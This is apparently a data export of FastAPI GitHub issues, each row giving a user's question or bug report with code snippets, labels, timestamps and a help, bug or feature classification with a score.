- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastpi import FastAPI, Body
from spacy.cli.train import train

app = FastAPI()


@app.post(""/training"")
def root(key = Body(embed = True)):
    train(""scratch_config.cfg"", output_path=""this_day"", overrides={""paths.train"": ""train.spacy"", ""paths.dev"": ""valid.spacy""}) # this is the function used for training a spacy model
```


### Description

Command to start the server:

`uvicorn spacy_train:app --workers 4`

Actual behaviour:

```
[2022-09-23 15:21:22 +0530] [24893] [ERROR] Exception in ASGI application                                                                                                                                 ... [TRUNCATED]","question,question-migrate",2022-09-23 10:23:16+00:00,2023-02-27 21:24:27+00:00,5,"question,question-migrate",157.4592,not able to train a spacy model using fastapi uvicorn setup first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description command to start the server actual behaviour error exception in asgi application truncated,help,0.8271
tiangolo/fastapi,1383293953,Unidirectional websocket connections where only the server pushes data to the clients,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@app.websocket(""/ws"")
async def websocket_endpoint(websocket: WebSocket):
    await websocket.accept()
    while True:
        data = await websocket.receive_text()
        await websocket.send_text(f""Message text was: {data}"")
```


### Description

Hello,
Is there a way I could send data to clients over websocket without listening for when clients send data back. I'm trying to have a websocket endpoint where the server is pushing data to the client in a unidirectional way without the option for the client to send responses back. There doesn't seem to be any code that I could find that supports this since all the documentation seems to require... [TRUNCATED]","question,question-migrate",2022-09-23 04:49:36+00:00,2023-02-27 21:24:23+00:00,7,"question,question-migrate",157.6908,unidirectional websocket connections where only the server pushes data to the clients first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description hello is there a way i could send data to clients over websocket without listening for when clients send data back i m trying to have a websocket endpoint where the server is pushing data to the client in a unidirectional way without the option for the client to send responses back there doesn t seem to be any code that i could find that supports this since all the documentation seems to require truncated,help,0.9428
tiangolo/fastapi,1383215614,getting (set_wakeup_fd only works in main thread) when i my unit test cases,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
======================================================================================================== test session starts ========================================================================================================
platform win32 -- Python 3.8.0, pytest-7.1.3, pluggy-1.0.0
rootdir: C:\Users\Documents\New_Laptop\2021\Python\WorkingFastapi\FastAPI
plugins: anyio-3.6.1, bdd-6.0.1                                                  
collected 1 item

tests\testHelloWorld.py F                                                                                                                                                                    ... [TRUNCATED]","question,answered,question-migrate",2022-09-23 02:31:45+00:00,2023-02-27 21:24:19+00:00,5,"question,answered,question-migrate",157.7865,getting set wakeup fd only works in main thread when i my unit test cases first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python test session starts platform win python pytest pluggy rootdir c users documents new laptop python workingfastapi fastapi plugins anyio bdd collected item tests testhelloworld py f truncated,help,0.9578
tiangolo/fastapi,1383203563,Could I  use one method to handle requests with diffrent path length,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.allmethod(""/aaa/{xxx}"")
def process_method()：
    response=request(method,url,header)
    return response

```


### Description

i want to use one method to handle requests with diffrent path length .different headers,different method
for example,i have many requests here :
/aaa/  post {""xx"":""xx""}
/aaa/bbb/ get 
/aaa/xxx put 
/aaa/bbb/ccc  -H ""xx:xx""   patch
/aaa/bbb/xxx  head   
/aaa/bbb/ccc/ddd
is there a method like this can handle all of these requests and directly response the right reponse?

@router.allmethod(""/aaa/{xxx}"")
def process_method()：
    response=request(method,url,header)
    return ... [TRUNCATED]","question,answered,question-migrate",2022-09-23 02:10:44+00:00,2023-02-27 21:24:16+00:00,4,"question,answered,question-migrate",157.8011,could i use one method to handle requests with diffrent path length first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i want to use one method to handle requests with diffrent path length different headers different method for example i have many requests here aaa post xx xx aaa bbb get aaa xxx put aaa bbb ccc h xx xx patch aaa bbb xxx head aaa bbb ccc ddd is there a method like this can handle all of these requests and directly response the right reponse router allmethod aaa xxx def process method response request method url header return truncated,feature,0.9468
tiangolo/fastapi,1383148133,Implement Textarea support,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
Yes, this is a swagger UI issue.

Fastapi doesn't support a textinput line greater than one row tall. This code implements this by hacking the javascript:

https://stackoverflow.com/questions/69874134/fastapi-textarea-openapi-for-form-data

Could something like this be merged in for Fastapi?
```


### Description

See above

### Wanted Solution

https://stackoverflow.com/questions/69874134/fastapi-textarea-openapi-for-form-data

### Wanted Code

```python
https://stackoverflow.com/questions/69874134/fastapi-textarea-openapi-for-form-data
```


### Alternatives

_No response_

### Operating System

Linux, Windows, macOS

### Operating System Det... [TRUNCATED]","question,answered,reviewed,question-migrate",2022-09-23 00:21:53+00:00,2023-02-27 21:24:13+00:00,5,"question,answered,reviewed,question-migrate",157.8766,implement textarea support first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description see above wanted solution wanted code alternatives no response linux windows macos det truncated,help,0.9287
tiangolo/fastapi,1382821882,default_factory argument not working correctly on optional Body and Query fields,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Optional

from fastapi import FastAPI, Body, Query


app = FastAPI()


def body_default():
    return -1


def query_default():
    return -2


@app.post(""/"")
async def root(
    my_query: Optional[int] = Query(default_factory=query_default),
    my_body: Optional[int] = Body(embed=True, default_factory=body_default),
):
    return {""body"": my_body, ""query"": my_query}


@app.post(""/error"")
async def error(
    my_body: Optional[int] = Body(embed=True, default=0, default_factory=body_default),
):
    return {}
```


### Description

i want to use default_factory on Body and Query

make a post request wi... [TRUNCATED]","question,question-migrate",2022-09-22 18:00:22+00:00,2023-02-27 21:24:10+00:00,2,"question,question-migrate",158.1415,default factory argument not working correctly on optional body and query fields first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i want to use default factory on body and query make a post request wi truncated,help,0.9081
tiangolo/fastapi,1381378207,FastAPI return internal server error when response model validation fails,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import Body, Depends, FastAPI, HTTPException, Path, Query, Request
from pydantic import BaseModel, Field, ValidationError
from pprint import pprint as pp

app = FastAPI()


class MetadataOut(BaseModel):
    """"""
    Model for Metadata
    """"""

    region: str = Field(
        ...,
        title=""region"",
        description=""region - one of dc00|dc01|dc02"",
        regex=r""^(dc00|dc01|dc02)$"",
    )


@app.get(""/api/v1/metadata/fail"", response_model=MetadataOut)
def metadatafail():
    return {""region"": ""whoops""}


@app.get(""/api/v1/metadata/failwitherror"", response_model=MetadataOut)
def metada... [TRUNCATED]","question,question-migrate",2022-09-21 19:10:32+00:00,2023-02-27 21:24:06+00:00,9,"question,question-migrate",159.0928,fastapi return internal server error when response model validation fails first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from fastapi import body depends fastapi httpexception path query request from pydantic import basemodel field validationerror from pprint import pprint as pp app fastapi class metadataout basemodel model for metadata region str field title region description region one of dc dc dc regex r dc dc dc app get api v metadata fail response model metadataout def metadatafail return region whoops app get api v metadata failwitherror response model metadataout def metada truncated,bug,0.7003
tiangolo/fastapi,1381032023,Getting valueError when running unit test cases,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
def test_create_user():
    data = {""firstname"": 'tst', 'lastname': 'lst'}
    response = client.post('/user', json=data)
    assert response.status_code == 201
    assert response.json() == data
```


### Description

I am getting the below issue when running the unit test cases
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _


-- self =  ProactorEventLoop running=False closed=False debug=False

    def close(self):
        if self.is_running():
            raise RuntimeError(""Cannot close a running event loop"")
        if self.is_closed():
            return
>       signal.set_wakeup_fd(-1)
E       Va... [TRUNCATED]","question,question-migrate",2022-09-21 14:30:04+00:00,2023-02-27 21:23:59+00:00,13,"question,question-migrate",159.2874,getting valueerror when running unit test cases first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i am getting the below issue when running the unit test cases self proactoreventloop running false closed false debug false def close self if self is running raise runtimeerror cannot close a running event loop if self is closed return signal set wakeup fd e va truncated,bug,0.9136
tiangolo/fastapi,1379873768,upload file of multiple files of 256M is very slow,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import File, UploadFile
import aiofiles

# Upload file using fastapi
@app.post(""/upload"")
async def upload1(files: UploadFile = File(...)):
    for file in files:
        try:
            contents = await file.read()
            async with aiofiles.open(file.filename, 'wb') as f:
                await f.write(contents)
        except Exception:
            return {""message"": ""There was an error uploading the file(s)""}
        finally:
            await file.close()

    return {""message"": f""Successfuly uploaded {[file.filename for file in files]}""} 

# STREAM method to upload file

from fastapi import Request
import ... [TRUNCATED]","question,answered,question-migrate",2022-09-20 19:10:05+00:00,2023-02-27 21:23:52+00:00,16,"question,answered,question-migrate",160.0929,upload file of multiple files of m is very slow first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from fastapi import file uploadfile import aiofiles upload file using fastapi app post upload async def upload files uploadfile file for file in files try contents await file read async with aiofiles open file filename wb as f await f write contents except exception return message there was an error uploading the file s finally await file close return message f successfuly uploaded file filename for file in files stream method to upload file from fastapi import request import truncated,help,0.8539
tiangolo/fastapi,1379740826,how can I know when each version of fastapi release was out?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import UploadFile
```


### Description

The release notes do not include when each version was out.
I would really like to know when 0.78.0 was released?
and when the other releases were out?

### Operating System

Linux

### Operating System Details

Virtual Machine Vmware Ubuntu 18.4


### FastAPI Version

0.78.0

### Python Version

3.8

### Additional Context

_No response_","question,answered,question-migrate",2022-09-20 17:12:57+00:00,2023-02-27 21:23:46+00:00,6,"question,answered,question-migrate",160.1742,how can i know when each version of fastapi release was out first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description the release notes do not include when each version was out i would really like to know when was released and when the other releases were out linux details virtual machine vmware ubuntu fastapi version python version no response,help,0.9272
tiangolo/fastapi,1379671473,FastAPI seems much slower that jupyter by vscode when useing pymongo,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@appmat.post(""/mt"")
def mtest(num: int):
    s = time.perf_counter()
    client = pymongo.MongoClient(""mongodb://localhost:27017/"")
    db = client['tdm']
    mycollec2 = db['ttt']
    test2Data = []
    for i in range(num):
        test2Data.append({
            ""time"": i,
            ""a"": random.randint(1, 8),
            ""b"": random.randint(0, 1)
        })

    mycollec2.insert_many(test2Data)

    e = time.perf_counter()

    return str(round(sys.getsizeof(test2Data) / 1024 / 1024, 2)) + ""MB"", e - s
```


### Description

Thanks for help.
I am a learner in Python and FastAPI.My work is very simple,using FastAPI to insert data ... [TRUNCATED]","question,question-migrate",2022-09-20 16:14:08+00:00,2023-02-27 21:23:42+00:00,6,"question,question-migrate",160.215,fastapi seems much slower that jupyter by vscode when useing pymongo first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description thanks for help i am a learner in python and fastapi my work is very simple using fastapi to insert data truncated,help,0.9643
tiangolo/fastapi,1378728956,"`pip install -e .[dev,doc,test]` in contributing documention wont work, is this a documentation error?","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
pip install -e .[dev,doc,test]
```


### Description

![image](https://user-images.githubusercontent.com/5053620/191152983-0b0161b0-0562-4120-8931-4e0993427b5c.png)

i am trying to execute upper command in my local python virtual env, and got error return:

![image](https://user-images.githubusercontent.com/5053620/191153106-2e2c09b2-3ce4-470e-9918-77840fcb47ad.png)


### Operating System

Linux

### Operating System Details

DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION=""Ubuntu 22.04.1 LTS""

### FastAPI Version

0.85.0

### Python Version

3.10.7

### Additional Context

i cloned latest fastapi, trying to... [TRUNCATED]","question,question-migrate",2022-09-20 02:25:44+00:00,2023-02-27 21:23:37+00:00,11,"question,question-migrate",160.7902,in contributing documention wont work is this a documentation error first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description image i am trying to execute upper command in my local python virtual env and got error return image linux details distrib id ubuntu distrib release distrib codename jammy distrib description ubuntu lts fastapi version python version i cloned latest fastapi trying to truncated,bug,0.8779
tiangolo/fastapi,1377922041,"""opening handshake failed"" for websocket endpoint","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
-
```


### Description

Hey!

We are using FastAPI to setup a websocket endpoint and running uvicorn workers.

Very often we see errors saying `opening handshake failed` together with this stacktrace:
```
Traceback (most recent call last):
 File \""/usr/local/lib/python3.10/site-packages/websockets/legacy/server.py\"", line 163, in handler
 await self.handshake(
 File \""/usr/local/lib/python3.10/site-packages/websockets/legacy/server.py\"", line 597, in handshake
 raise self.connection_closed_exc() # pragma: no cover
websockets.exceptions.ConnectionClosedError: no close frame received or sent
```

Right after we see this other error, sayi... [TRUNCATED]","question,question-migrate",2022-09-19 13:01:04+00:00,2023-02-28 15:42:33+00:00,5,"question,question-migrate",162.1121,opening handshake failed for websocket endpoint first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description hey we are using fastapi to setup a websocket endpoint and running uvicorn workers very often we see errors saying together with this stacktrace right after we see this other error sayi truncated,help,0.5346
tiangolo/fastapi,1377052034,"`RequestValidationError` is raised when testing, instead of returing `422` response","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import uuid

from fastapi import FastAPI, APIRouter, Header, HTTPException
from fastapi.testclient import TestClient
from pydantic import BaseModel


# Models and CRUD
class Item(BaseModel):
    id: int
    content: str


def crud_get_items():
    # This function lies in a separate module
    return [
        Item(id=1, content=""First item""),
        Item(id=2, content=""Second item""),
    ]


# App
app = APIRouter()


@app.get(""/"")
async def get_items(user_id: str = Header()):
    data = crud_get_items()
    if not len(data):  # This is redundant in the example, but exist in ""normal"" codebase
        rai... [TRUNCATED]","question,question-migrate",2022-09-18 13:12:36+00:00,2023-02-27 21:51:38+00:00,6,"question,question-migrate",162.3604,is raised when testing instead of returing response first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import uuid from fastapi import fastapi apirouter header httpexception from fastapi testclient import testclient from pydantic import basemodel models and crud class item basemodel id int content str def crud get items this function lies in a separate module return item id content first item item id content second item app app apirouter app get async def get items user id str header data crud get items if not len data this is redundant in the example but exist in normal codebase rai truncated,bug,0.8402
tiangolo/fastapi,1376213050,"Await dont work in BackgroundTaks (Fastapi, Beanie, MongoDB)","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from beanie import PydanticObjectId, Document
from fastapi import FastAPI, APIRouter, Request, BackgroundTasks
from time import time
from pydantic import BaseModel
from typing import Optional

app = FastAPI()
#router = APIRouter(prefix=""/audit"",tags=['Audit'])

class Audit(Document):
    account: Optional[str]
    company: Optional[str]
    user: Optional[str]
    module: str
    endpoint: str
    url_params: Optional[str]
    body_params: Optional[dict]
    reference_id: Optional[str]
    previous_state: Optional[bytes]
    posterior_state: Optional[bytes]
    date: int = time()

    class Settings:
        n... [TRUNCATED]","question,investigate,question-migrate",2022-09-16 17:20:41+00:00,2023-02-28 15:42:28+00:00,10,"question,investigate,question-migrate",164.9318,await dont work in backgroundtaks fastapi beanie mongodb first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from beanie import pydanticobjectid document from fastapi import fastapi apirouter request backgroundtasks from time import time from pydantic import basemodel from typing import optional app fastapi router apirouter prefix audit tags audit class audit document account optional str company optional str user optional str module str endpoint str url params optional str body params optional dict reference id optional str previous state optional bytes posterior state optional bytes date int time class settings n truncated,help,0.9169
tiangolo/fastapi,1374512065,Deploy Single API from multiple APIs as a microservice,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# segment/main.py

from fastapi import FastAPI

app = FastAPI()
    
@app.get(""/"")
def read_root():
    return {""Hello"": ""Segment""}

# campaign/main.py
from fastapi import FastAPI

app = FastAPI()
    
@app.get(""/"")
def read_root():
    return {""Hello"": ""Campaign""}
```


### Description

In below link I saw that we can define routes when we have multiple APIs in Fast API.
https://fastapi.tiangolo.com/tutorial/bigger-applications/

Now my question is, How can i deploy single API from whole project. I want to keep logger, exception & utility classes common and don't want to re-deploy them.

